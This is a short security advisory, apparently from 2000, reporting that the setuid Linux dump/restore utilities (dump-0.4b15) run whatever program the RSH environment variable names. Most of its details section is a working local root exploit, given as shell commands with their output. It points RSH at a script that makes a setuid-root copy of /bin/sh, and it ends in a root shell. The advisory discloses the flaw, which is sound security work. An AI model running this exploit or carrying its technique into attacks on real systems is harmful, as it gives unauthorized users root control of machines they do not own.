Linux dump/restore utilities can be exploited to gain root
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SUMMARY

The Linux dump and restore commands execute external program with suid 
privilege. This fact allows local users to gain root privileges by a 
simple modification to the remote executed shell (RSH parameter).

DETAILS

Vulnerable systems:
dump-0.4b15

Exploit:
$ export TAPE=garbage:garbage
$ export RSH=/home/mat/execute_this
$ cat > /home/mat/execute_this
#!/bin/sh
cp /bin/sh /home/mat/sh
chmod 4755 /home/mat/sh

$ chmod 755 /home/mat/execute_this
$ /sbin/dump -0 /
  DUMP: Connection to garbage established.
  DUMP: Date of this level 0 dump: Tue Oct 31 14:38:00 2000
  DUMP: Date of last level 0 dump: the epoch
  DUMP: Dumping /dev/hda2 (/) to garbage on host garbage
  DUMP: Label: none
/dev/hda2: Permission denied while opening filesystem
$ ls -la /home/mat/sh
 -rwsr-xr-x    1 root     tty        316848 Oct 31 14:38 /home/mat/sh
$ /home/mat/sh
bash# id
 uid=500(mat) gid=500(mat) euid=0(root) groups=500(mat)

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